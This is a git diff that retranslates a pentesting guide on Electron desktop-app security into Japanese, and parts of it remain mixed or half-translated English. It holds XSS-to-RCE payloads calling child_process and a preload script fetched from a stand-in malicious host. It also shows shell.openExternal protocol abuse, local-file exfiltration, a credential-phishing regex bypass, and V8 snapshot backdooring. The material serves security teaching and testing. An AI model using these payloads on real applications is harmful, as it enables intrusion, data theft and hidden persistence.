Translated ['src/network-services-pentesting/pentesting-web/electron-des

This commit is contained in:
Translator 2025-09-29 21:58:02 +00:00
parent 9b8a7bafe4
commit 655f889811

View File

@ -1,30 +1,30 @@
# Electron デスクトップアプリ
# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
## はじめに
## イントロダクション
Electron はローカルバックエンド(**NodeJS**)とフロントエンド(**Chromium**)を組み合わせていますが、モダンなブラウザが持ついくつかのセキュリティ機構が欠けています。
Electron はローカルバックエンド(**NodeJS**)とフロントエンド(**Chromium**)を組み合わせていますが、最新のブラウザが備えているいくつかのセキュリティ機構を欠いています。
通常、electron アプリのコードは `.asar` に入っていることが多く、コードを取得するにはそれを抽出する必要があります:
通常、Electron アプリのコードは `.asar` アプリケーション内に見つかることが多く、コードを取得するには抽出する必要があります:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Electronアプリのソースコード内では、`packet.json` に、セキュリティ設定が記述されている `main.js` ファイルの指定が見つかります。
Electron アプリのソースコードでは、`packet.json` 内にセキュリティ設定が行われている `main.js` ファイルが指定されています。
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electronには2つのプロセスタイプがあります:
Electron には 2 種類のプロセスがあります:
- メインプロセス (NodeJSへ完全にアクセス可能)
- レンダラープロセス (セキュリティ上の理由からNodeJSへのアクセスは制限されるべき)
- Main Process (NodeJS への完全なアクセス権を持つ)
- Renderer Process (セキュリティ上の理由により NodeJS へのアクセスは制限されるべき)
![](<../../../images/image (182).png>)
**レンダラープロセス**はファイルを読み込むブラウザウィンドウになります:
A **renderer process** はファイルを読み込むブラウザウィンドウになります:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,20 +32,20 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
**renderer process** の設定は main.js ファイル内の **main process****構成できます**。いくつかの設定は、**Electron アプリケーションが RCE を受けるのを防ぐ** などの効果があり、**設定が正しく構成されている場合** に有効になります。
**renderer process** の設定は **main process** 内の main.js ファイルで **configured** できます。設定を正しく行えば、いくつかの設定は **prevent the Electron application to get RCE** やその他の脆弱性を防げます。
Electron アプリケーションは Node apis 経由で **デバイスにアクセスできる** 可能性がありますが、これを防ぐように設定できます:
Electron application は Node apis を通じてデバイスに **could access the device** する可能性がありますが、これを防ぐように設定することもできます:
- **`nodeIntegration`** - デフォルトでは `off` です。`on` の場合、renderer process から Node の機能にアクセスできるようになります。
- **`contextIsolation`** - デフォルトでは `on` です。`off` の場合、main と renderer processes の分離がなくなります
- **`nodeIntegration`** - デフォルトでは `off` です。`on` の場合、renderer process から node 機能へアクセスできます。
- **`contextIsolation`** - デフォルトでは `on` です。`off` の場合、main と renderer プロセスは分離されません
- **`preload`** - デフォルトでは空です。
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - デフォルトでは `off` です。NodeJS が実行できる操作を制限します。
- Workers 内での Node Integration
- Node Integration in Workers
- **`nodeIntegrationInSubframes`** - デフォルトでは `off` です。
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
Example of configuration:
設定の例:
```javascript
const mainWindowOptions = {
title: "Discord",
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
以下は [here](https://7as.es/electron/nodeIntegration_rce.txt) からの **RCE payloads**:
以下は [here](https://7as.es/electron/nodeIntegration_rce.txt) からの **RCE payloads** の一部:
```html
Example Payloads (Windows):
<img
@ -95,15 +95,15 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### トラフィックをキャプチャ
### トラフィックをキャプチャする
start-main の設定を変更し、例えば次のような proxy を使用するように追加します:
start-main 設定を修正し、次のようなプロキシの使用を追加します:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
Electron Appをローカルで実行できる場合、任意のjavascriptコードを実行させることが可能です。方法は以下を参照してください:
ローカルでElectron Appを実行できる場合、任意の JavaScript コードを実行させることが可能です。詳細は以下を確認してください:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -111,7 +111,7 @@ Electron Appをローカルで実行できる場合、任意のjavascriptコー
## RCE: XSS + nodeIntegration
もし**nodeIntegration**が**on**に設定されていると、ウェブページのJavaScriptは`require()`を呼ぶだけで簡単にNode.jsの機能を利用できます。例えば、Windowsでcalcアプリケーションを実行する方法は次の通りです:
もし **nodeIntegration** **on** に設定されていると、ウェブページの JavaScript `require()` を呼ぶだけで簡単に Node.js の機能を利用できます。例えば、Windows 上で calc を実行する方法は次の通りです:
```html
<script>
require("child_process").exec("calc")
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
この設定で指定されたスクリプトは**renderer内の他のスクリプトよりも先に読み込まれる**ため、**Node APIs**への無制限のアクセス権を持ちます:
この設定で指定されたスクリプトは**レンダラー内の他のスクリプトより先に読み込まれる**ため、**Node APIsに無制限にアクセスできます**:
```javascript
new BrowserWindow{
webPreferences: {
@ -132,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
したがって、のスクリプトは node-features をページにエクスポートできます:
したがって、のスクリプトは node-features をページにエクスポートできます:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
@ -148,20 +148,20 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **`contextIsolation` が有効な場合、これは動作しません**
> [!NOTE] > **`contextIsolation` が有効な場合、これは機能しません**
## RCE: XSS + contextIsolation
_**contextIsolation**_ は、ウェブページのスクリプトと JavaScript/Electron の内部コードの間に **分離されたコンテキスト** を導入し、それぞれの JavaScript 実行が互いに影響しないようにします。これは RCE の可能性を排除するための必要な機能です。
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
コンテキストが分離されていない場合、攻撃者は以下を行うことができます:
もしコンテキストが分離されていない場合、攻撃者は次のことができます:
1. レンダラー内で**任意の JavaScript を実行する**XSS または外部サイトへのナビゲーション)
2. **組み込みメソッドを上書きする**preload または Electron 内部コードで使用されるものを独自の関数にする)
1. **renderer で任意の JavaScript を実行する** (XSS または外部サイトへのナビゲーション)
2. **preload または Electron の内部コードで使用される組み込みメソッドを上書きして機能を乗っ取る**
3. **上書きされた関数の使用をトリガーする**
4. RCE?
組み込みメソッドが上書きされ得る場所は2つあります: preload コード内、または Electron の内部コード内:
組み込みメソッドが上書きされうる場所は2箇所あります: preload コード内 または Electron の内部コード内
{{#ref}}
@ -178,24 +178,24 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### クリックイベントをバイパス
### Bypass click event
リンクをクリックした際に制限がある場合、通常の左クリックの代わりに**中クリック(ミドルクリック)を行う**ことでそれらを回避できることがあります
リンクをクリックしたときに制限がかかる場合、通常の左クリックの代わりに**中クリックを行う**ことでそれらを回避できる場合があります
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
この例の詳細については [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) を参照してください。
Electron デスクトップアプリケーションをデプロイする際、`nodeIntegration``contextIsolation`適切な設定を行うことは非常に重要です。これらの設定により、main process から preload scripts や Electron's native code を標的とした **client-side remote code execution (RCE)** は効果的に防がれることが確認されています。
Electron デスクトップアプリケーションをデプロイする際、`nodeIntegration``contextIsolation`設定を適切に行うことが重要です。これらの設定が有効であれば、preload scripts や Electron のネイティブコードを main process から標的とした **client-side remote code execution (RCE)** は実質的に防止されるとされています。
ユーザーがリンクをクリックしたり新しいウィンドウを開いたりすると、アプリケーションのセキュリティと機能にとって重要な特定の event listeners がトリガーされます:
ユーザーがリンクを操作したり新しいウィンドウを開いたりすると、アプリケーションのセキュリティと機能にとって重要な特定のイベントリスナーがトリガーされます:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
These listeners are **overridden by the desktop application** to implement its own **business logic**. The application evaluates whether a navigated link should be opened internally or in an external web browser. This decision is typically made through a function, `openInternally`. If this function returns `false`, it indicates that the link should be opened externally, utilizing the `shell.openExternal` function.
これらのリスナーは、デスクトップアプリケーションによって独自の**ビジネスロジック**を実装するために**オーバーライド**されます。アプリケーションは、移動したリンクを内部で開くべきか外部のウェブブラウザで開くべきかを判断します。この判断は通常、`openInternally` 関数で行われます。もしこの関数が `false` を返すと、リンクは外部で開かれるべきであり、`shell.openExternal` 関数が使用されます。
**Here is a simplified pseudocode:**
@ -203,11 +203,11 @@ These listeners are **overridden by the desktop application** to implement its o
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability.
Electron JS のセキュリティベストプラクティスでは、`openExternal` 関数で信頼できないコンテンツを受け入れることを避けるべきだとされています。さもないと、様々なプロトコルを介して RCE を引き起こす可能性があります。OS は RCE を誘発し得る様々なプロトコルをサポートしています。このトピックの詳細な例や追加説明については、[this resource](https://positive.security/blog/url-open-rce#windows-10-19042) を参照してください。リンクにはこの脆弱性を悪用することができる Windows プロトコルの例が含まれています。
In macos, the `openExternal` function can be exploited to execute arbitrary commands like in `shell.openExternal('file:///System/Applications/Calculator.app')`.
macos では、`openExternal` 関数を悪用して任意のコマンドを実行させることができます。例えば `shell.openExternal('file:///System/Applications/Calculator.app')` のように。
**Examples of Windows protocol exploits include:**
**Windows プロトコルの悪用例には以下が含まれます:**
```html
<script>
window.open(
@ -229,15 +229,15 @@ window.open(
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
この vuln は **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** に記載されています。
この vuln は **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** で確認できます。
The **webviewTag** is a **非推奨の機能** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like:
The **webviewTag** is a **deprecated feature** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
したがって、任意のページを読み込ませることに成功した攻撃者は、そのタグを利用して **任意のプリロードスクリプトを読み込む** ことができます。
したがって、任意のページを読み込むことができる攻撃者は、そのタグを使って **任意の preload スクリプトを読み込む** ことができます。
このプリロードスクリプトは悪用され、**脆弱な IPC サービス (`skype-new-window`)** を呼び出しました。そのサービスは **`shell.openExternal`** を呼び出して RCE を引き起こしていました:
その preload スクリプトは悪用され、**脆弱な IPC サービス (`skype-new-window`)** を呼び出し、それが **`shell.openExternal`** を呼び出して RCE を引き起こしていました:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -250,11 +250,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## 内部ファイルの読み取り: XSS + contextIsolation
**Disabling `contextIsolation` enables the use of `<webview>` tags**, `<iframe>`と同様に、ローカルファイルの読み取りおよび exfiltrating に使用できます。例として、この脆弱性を exploit して内部ファイルの内容を読み取る方法が示されています:
**Disabling `contextIsolation` enables the use of `<webview>` tags**, similar to `<iframe>`, for reading and exfiltrating local files. An example provided demonstrates how to exploit this vulnerability to read the contents of internal files:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
さらに、別の方法として**内部ファイルの読み取り**が共有されており、Electronデスクトップアプリの重大なローカルファイル読み取り vulnerability を強調しています。これは、スクリプトを inject してアプリケーションを exploit し、データを exfiltrate することを含みます:
さらに、別の**内部ファイルの読み取り**手法が共有されており、Electronデスクトップアプリにおける重大なローカルファイル読み取り脆弱性が強調されています。これは、アプリにスクリプトを注入して悪用し、データをexfiltrateすることを伴います
```html
<br /><br /><br /><br />
<h1>
@ -270,45 +270,45 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + 古い Chromium**
## **RCE: XSS + 古い chromium**
もしアプリケーションで使用されている **chromium****古い** かつ既知の **vulnerabilities** がある場合、**それを exploit して XSS を通じて RCE を取得する** ことが可能な場合があります。\
例はこの **writeup** で確認できます: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
もしアプリケーションで使用されている **chromium****古い** かつ **既知の** **脆弱性** がある場合、**exploit** して XSS 経由で RCE を取得できる可能性があります。\
この **writeup** の例はこちら: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
XSS を見つけたが **RCE をトリガーできない** または **内部ファイルを盗めない** 場合、これを使って **phishing によって認証情報を盗む** ことを試すことができます。
XSS を見つけたが **RCE をトリガーできない** または **内部ファイルを盗めない** 場合、**phishing を通じて資格情報を盗む** ことを試みることができます。
まず、新しい URL を開こうとしたときに何が起きるかを把握する必要があります。front-end の JS コードを確認してください:
まず最初に、新しい URL を開こうとしたときに何が起きるかを、front-end の JS コードを確認して把握する必要があります:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
**`openInternally`** の呼び出しは、**link** がプラットフォームに属するものとして **desktop window** 内で **opened** されるのか、**or** サードパーティのリソースとして **browser as a 3rd party resource** で開かれるのかを決定します。
In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user:
関数で使われる **regex****vulnerable to bypasses**(例えば **not escaping the dots of subdomains** のようにサブドメインのドットをエスケープしていない場合)だと、攻撃者は **XSS** を悪用して攻撃者のインフラ上に配置された **open a new window which** を開き、ユーザに **asking for credentials** させることができます:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` Protocol
## `file://` プロトコル
[the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) にあるように、**`file://`** で実行されるページはマシン上のすべてのファイルに一方的にアクセスできるため、**XSS の脆弱性を利用してユーザーのマシンから任意のファイルを読み込むことができる**。**custom protocol** を使うことでプロトコルを特定のファイル群の配信に限定できるため、このような問題を防げます。
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **custom protocol** prevents issues like this as you can limit the protocol to only serving a specific set of files.
## Remote module
## Remote モジュール
Electron の Remote モジュールは、レンダラープロセスがメインプロセスの API にアクセスできるようにし、Electron アプリ内の通信を容易にします。しかし、このモジュールを有効にすると重大なセキュリティリスクが生じます。攻撃対象面が拡大し、XSS のような脆弱性に対してより脆弱になります。
The Electron Remote module allows **レンダラプロセスがメインプロセスの API にアクセスできるようにし**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
> [!TIP]
> **remote** モジュールは main から renderer プロセスへいくつかの API を公開しますが、コンポーネントを悪用しただけで RCE を得るのは必ずしも容易ではありません。ただし、コンポーネントが機密情報を露出する可能性はあります。
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
> [!WARNING]
> まだ remote モジュールを使用している多くのアプリは、レンダラープロセスで **NodeIntegration を有効にする必要がある** 方法で使用しており、これは **重大なセキュリティリスク** です。
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
Electron 14 以降、`remote` モジュールは複数の手順で有効化される場合がありますが、セキュリティおよびパフォーマンスの観点から **使用しないことが推奨されます**
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
有効にするには、まず **メインプロセスで有効化する** 必要があります:
To enable it, it'd first needed to **enable it in the main process**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -319,28 +319,28 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
その後、renderer process はモジュールからオブジェクトをインポートできます:
その後、レンダラープロセスはモジュールからオブジェクトを次のようにインポートできます:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** は、remoteモジュールのオブジェクト **`app`** が公開するいくつかの興味深い **functions** を示しています:
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** は、remote モジュールのオブジェクト **`app`** が公開する興味深い **関数** を示しています:
- **`app.relaunch([options])`**
- 現在のインスタンスを**終了**して新しいインスタンスを**起動**することでアプリケーションを**再起動**します。**アプリの更新**や大きな**状態変化**に便利です。
- **アプリを再起動**します。現在のインスタンスを**終了**して新しいインスタンスを**起動**します。**アプリの更新**や大きな**状態変化**に便利です。
- **`app.setAppLogsPath([path])`**
- **appログ**を格納するためのディレクトリを**定義**または**作成**します。ログは **`app.getPath()`** や **`app.setPath(pathName, newPath)`** を使って**取得**または**変更**できます。
- **ログ保存用のディレクトリを定義**または**作成**します。ログは **`app.getPath()`** や **`app.setPath(pathName, newPath)`** を使って**取得**または**変更**できます。
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- 指定した**protocol**の**デフォルトハンドラ**として現在の実行ファイルを**登録**します。必要に応じて**カスタムパス**や**引数**を指定できます。
- 指定した **プロトコル** の**デフォルトハンドラ**として現在の実行ファイルを**登録**します。必要に応じて**カスタムパス**や**引数**を指定できます。
- **`app.setUserTasks(tasks)`**
- **Windows の Jump List の Tasks カテゴリ**タスクを**追加**します。各タスクはアプリの**起動方法**や渡される**引数**を制御できます。
- Windows の **Jump List****Tasks カテゴリ**タスクを**追加**します。各タスクはアプリの**起動方法**や渡される**引数**を制御できます。
- **`app.importCertificate(options, callback)`**
- システムの**証明書ストア**に **PKCS#12 certificate** を**インポート**しますLinux のみ)。結果を処理するために **callback** を使用できます。
- **PKCS#12 certificate**システムの **証明書ストア****インポート**しますLinux のみ)。結果の処理には **callback** を使用できます。
- **`app.moveToApplicationsFolder([options])`**
- アプリケーションを macOS の **Applications folder** に**移動**します。Mac ユーザーに対して**標準的なインストール**を確保するのに役立ちます。
- アプリ**Applications フォルダ**macOSに**移動**します。Mac ユーザーに対して**標準的なインストール**を確保するのに役立ちます。
- **`app.setJumpList(categories)`**
- **Windows** で**カスタム Jump List** を**設定**または**削除**します。タスクの表示方法を整理するために **categories** を指定できます。
- Windows で**カスタム Jump List**を**設定**または**削除**します。タスクの表示方法を整理するために **categories** を指定できます。
- **`app.setLoginItemSettings(settings)`**
- どの**実行ファイル**が**ログイン**時に起動するかとその**オプション**を**設定**しますmacOS および Windows のみ)。
- どの **実行可能ファイル****ログイン時** に起動するかとその **オプション** を**設定**しますmacOS と Windows のみ)。
Example:
```javascript
@ -349,7 +349,7 @@ Native.app.exit()
```
## systemPreferences モジュール
Electronでシステム環境設定にアクセスし、システムイベントを発行するための**主要なAPI**です。**subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, **setUserDefault** といったメソッドはすべてこのモジュールの**一部**です
Electronでシステム設定にアクセスし、**システムイベントを発行する**ための**主要な API**。**subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault**、および**setUserDefault**のようなメソッドはすべて**このモジュールの一部です**
**使用例:**
```javascript
@ -367,40 +367,30 @@ console.log('Recent Places:', recentPlaces);
### **subscribeNotification / subscribeWorkspaceNotification**
* **Listens** for **native macOS notifications** using NSDistributedNotificationCenter.
-> **NSDistributedNotificationCenter** を使用してネイティブな macOS 通知を受信します。
* Before **macOS Catalina**, you could sniff **all** distributed notifications by passing **nil** to CFNotificationCenterAddObserver.
-> **macOS Catalina** より前は、CFNotificationCenterAddObserver に **nil** を渡すことで配布された通知を **すべて** 傍受できました。
* After **Catalina / Big Sur**, sandboxed apps can still **subscribe** to **many events** (for example, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) by registering notifications **by name**.
-> **Catalina / Big Sur** 以降でも、サンドボックス化されたアプリは通知を **名前で登録** することで(例:**画面のロック/アンロック**、**ボリュームのマウント**、**ネットワークの活動** など)多くのイベントに **subscribe** できます。
### **getUserDefault / setUserDefault**
* **Interfaces** with **NSUserDefaults**, which stores **application** or **global** preferences on macOS.
-> **NSUserDefaults** とインターフェースし、macOS 上の **アプリケーション** または **グローバル** な設定を保存します。
* **getUserDefault** can **retrieve** sensitive information, such as **recent file locations** or **users geographic location**.
-> **getUserDefault****最近のファイルの場所****ユーザーの地理的な位置情報** などの機密情報を **取得** できる場合があります。
* **setUserDefault** can **modify** these preferences, potentially affecting an apps **configuration**.
-> **setUserDefault** はこれらの設定を **変更** でき、アプリの **構成** に影響を与える可能性があります。
* In **older Electron versions** (before v8.3.0), only the **standard suite** of NSUserDefaults was **accessible**.
-> **古い Electron バージョン**v8.3.0 より前では、NSUserDefaults の **standard suite** のみが **アクセス可能** でした。
## Shell.showItemInFolder
This function whows the given file in a file manager, which **could automatically execute the file**.
-> この関数は指定されたファイルをファイルマネージャで表示します。ファイルマネージャがファイルを自動的に実行する可能性があります(**could automatically execute the file**)。
This functionは指定したファイルをファイルマネージャで表示しますが、ファイルを自動的に実行してしまう可能性があります。
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
-> Electron アプリは **Content Security Policy (CSP)** を持つべきで、**XSS 攻撃を防ぐ** ためのものです。**CSP** はブラウザ内で **信頼できないコードの実行****防止** するための **セキュリティ標準** です。
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
-> 通常、CSP は **`main.js`** ファイルや **`index.html`** テンプレート内の **meta tag** に設定されます。
For more information check:
@ -410,24 +400,41 @@ pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **Tools**
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
- [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
-> Electron ベースのアプリケーションにおけるミスコンフィギュレーションやセキュリティのアンチパターンを識別するツールです。
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity.
-> Electronegativity を利用する Electron 向けのオープンソース VS Code プラグインです。
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) to check for vulnerable third party libraries
-> 脆弱なサードパーティライブラリをチェックするためのツールです。
- [**Electro.ng**](https://electro.ng/): You need to buy it
-> 購入が必要です。
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
## Labs
Attack chain overview
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webviews extensionId.
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
-> 上記リンクでは、exploit vulnerable Electron apps のラボが見つかります。
Example RCE primitive in the final context
```js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
Related reading on postMessage trust issues:
Some commands that will help you will the lab:
-> ラボで役立ついくつかのコマンド:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
{{#endref}}
## **ツール**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) は Electron ベースのアプリケーションにおけるミスコンフィギュレーションやセキュリティのアンチパターンを特定するツールです。
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) は Electronegativity を利用する Electron アプリ向けのオープンソースの VS Code プラグインです。
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) は脆弱なサードパーティライブラリをチェックするためのツールです。
- [**Electro.ng**](https://electro.ng/): 購入が必要です
## ラボ
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) では、脆弱な Electron アプリを exploit するためのラボが見つかります。
ラボで役立ついくつかのコマンド:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -452,16 +459,16 @@ npm start
```
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
Electron と Chromium ベースのアプリは、起動時に事前に用意された V8 heap snapshot を逆シリアライズして各 V8 isolate (main, preload, renderer) を初期化しますv8_context_snapshot.bin、必要に応じて browser_v8_context_snapshot.bin。歴史的に、Electron の integrity fuses はこれらの snapshot を実行可能コンテンツとして扱っておらず、そのため fuse ベースの整合性強制や OS の code-signing チェックの両方を回避していました。結果として、ユーザーが書き込み可能なインストール先に snapshot を置き換えるだけで、署名済みバイナリや ASAR を変更せずにアプリ内でステルスかつ永続的なコード実行が可能になっていました。
Electron と Chromium ベースのアプリは起動時に事前構築された V8 heap snapshotv8_context_snapshot.bin、オプションで browser_v8_context_snapshot.binをデシリアライズして各 V8 isolatemain、preload、rendererを初期化します。歴史的に、Electron の integrity fuses はこれらのスナップショットを実行可能コンテンツとして扱っておらず、fuse ベースの整合性強制や OS の code-signing チェックの両方を回避していました。その結果、ユーザーが書き込み可能なインストールディレクトリ内のスナップショットを置き換えることで、署名済みバイナリや ASAR を変更せずにアプリ内でステルスかつ永続的なコード実行が可能になっていました。
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar は ASAR 内のアプリ JavaScript を検証しますが、V8 heap snapshots をカバーしていませんでしたCVE-2025-55305。Chromium も同様に snapshots の整合性チェックを行っていません。
- Attack preconditions: ローカルでアプリのインストールディレクトリにファイルを書き込めること。これは Electron アプリや Chromium ブラウザがユーザー書き込み可能なパスにインストールされているシステムで一般的です(例: %AppData%\Local on Windows; /Applications with caveats on macOS)。
- Effect: 頻繁に使われる builtin「gadget」を上書きすることで、任意の isolate 内で攻撃者の JavaScript を確実に実行でき、永続化と code-signing 検証の回避を可能にします。
- Affected surface: EnableEmbeddedAsarIntegrityValidation を有効にしていても Electron アプリ、およびユーザー書き込み可能な場所から snapshot をロードする Chromium ベースのブラウザが影響を受けます。
- Integrity gap: EnableEmbeddedAsarIntegrityValidation と OnlyLoadAppFromAsar は ASAR 内のアプリ JavaScript を検証しますが、V8 heap snapshotsCVE-2025-55305はカバーしていませんでした。Chromium も同様にスナップショットの整合性チェックを行っていません。
- Attack preconditions: アプリのインストールディレクトリへのローカルファイル書き込み権限。Electron アプリや Chromium ブラウザがユーザー書き込み可能なパスにインストールされている環境では一般的です(例: %AppData%\Local on Windows、macOS では /Applications に注意点あり)。
- Effect: 頻繁に使われる builtin“gadget”を上書きすることで、任意の isolate で attacker JavaScript を確実に実行でき、永続化および code-signing 検証の回避を可能にします。
- Affected surface: fuses が有効であっても Electron アプリ、そしてユーザー書き込み可能な場所からスナップショットを読み込む Chromium ベースのブラウザが影響を受けます。
Generating a malicious snapshot without building Chromium
- prebuilt な electron/mksnapshot を使い、payload JS を snapshot にコンパイルしてアプリの v8_context_snapshot.bin を上書きします。
- 事前ビルド済みの electron/mksnapshot を使って payload JS を snapshot にコンパイルし、アプリケーションの v8_context_snapshot.bin を上書きします。
Example minimal payload (prove execution by forcing a crash)
```js
@ -477,11 +484,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (main と renderer で異なるコードを実行)
- Main process detection: メインプロセスの isolate では、Node 専用のグローバルprocess.pid、process.binding()、process.dlopen など)が存在します。
